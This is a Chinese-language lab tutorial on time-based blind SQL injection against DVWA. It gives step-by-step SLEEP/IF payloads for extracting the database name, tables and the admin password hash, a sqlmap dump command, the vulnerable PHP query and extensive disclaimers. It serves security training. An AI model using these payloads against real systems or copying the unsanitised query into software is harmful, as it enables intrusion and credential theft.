本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
以下为DVWA中**时间盲注(Time-Based Blind SQL Injection)**在Low安全级别的详细教程,结合手工注入步骤、自动化工具(sqlmap)及防御原理,帮你快速掌握攻击链:
适用场景
核心函数
SLEEP(N)
:强制数据库等待N秒(如SLEEP(5)
)。IF(条件, 真值, 假值)
:条件成立时触发延时(如IF(1=1, SLEEP(5), 0)
)。1' AND SLEEP(5)# → 响应延迟5秒 → **字符型注入**(需单引号闭合)
1 AND SLEEP(5)# → 无延迟 → 非数字型
1' AND IF(LENGTH(DATABASE())=1, SLEEP(5), 1)# → 无延迟(长度≠1)
1' AND IF(LENGTH(DATABASE())=4, SLEEP(5), 1)# → 延迟5秒 → 库名长度=4
-- 猜第一个字符(ASCII码法)
1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=100, SLEEP(5), 1)# → 延迟 → 首字符ASCII=100(字母'd')
-- 猜第二个字符:
1' AND IF(ASCII(SUBSTR(DATABASE(),2,1))>118, SLEEP(5), 1)# → 无延迟 → ASCII≤118
1' AND IF(ASCII(SUBSTR(DATABASE(),2,1))=118, SLEEP(5), 1)# → 延迟 → 第二字符='v'
重复步骤:最终拼出库名 dvwa
。1' AND IF((SELECT COUNT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA=DATABASE())=2, SLEEP(5), 1)# → 延迟 → 共2张表
1' AND IF(LENGTH((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1))=9, SLEEP(5), 1)# → 延迟 → 表名长度=9
1' AND IF(ASCII(SUBSTR((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1),1,1))=103, SLEEP(5), 1)# → 延迟 → 首字符='g'(guestbook)
1' AND IF(LENGTH((SELECT password FROM users WHERE user='admin' LIMIT 0,1))=32, SLEEP(5), 1)# → 延迟
1' AND IF(ASCII(SUBSTR((SELECT password FROM users WHERE user='admin' LIMIT 0,1),1,1))=53, SLEEP(5), 1)# → 延迟 → 首字符='5'(MD5值开头)
最终:拼接出完整MD5密码(如5f4dcc3b5aa765d61d8327deb882cf99
→ 解密为password
)。sqlmap -u "http://靶机IP/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="PHPSESSID=你的session; security=low" \
--technique=T # 指定时间盲注模式
目标 | 命令参数 | 示例结果 |
---|---|---|
爆所有数据库 | --dbs |
dvwa, information_schema |
爆dvwa的表名 | -D dvwa --tables |
guestbook, users |
爆users表字段 | -D dvwa -T users --columns |
user, password |
导出数据 | -D dvwa -T users -C user,password --dump |
显示账号密码密文 |
$id = $_GET['id']; // 直接获取用户输入,无过滤
$query = "SELECT ... WHERE user_id = '$id';"; // 拼接SQL语句
阶段 | 关键操作 | 技巧 |
---|---|---|
判断注入类型 | 1' AND SLEEP(5)# 观察延时 |
延时≥5秒 → 字符型注入 |
猜库名/表名 | IF(LENGTH(...)=N, SLEEP(5),1) |
二分法加速猜解(ASCII码范围:字母97-122,数字48~57) |
提数据 | 子查询+SUBSTR() 逐字符爆破 |
优先猜解user /password 等关键字段,节省时间 |
自动化 | sqlmap + --technique=T |
BurpSuite抓包后交给sqlmap,避免手动构造Payload |
⚠️ 注意:实战中优先使用sqlmap(效率提升10倍+),手工注入仅用于理解原理。解密MD5推荐https://www.cmd5.com/。
宇宙级免责声明
重要声明:本文仅供合法授权下的安全研究与教育目的!
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助!记得负责任地进行安全测试。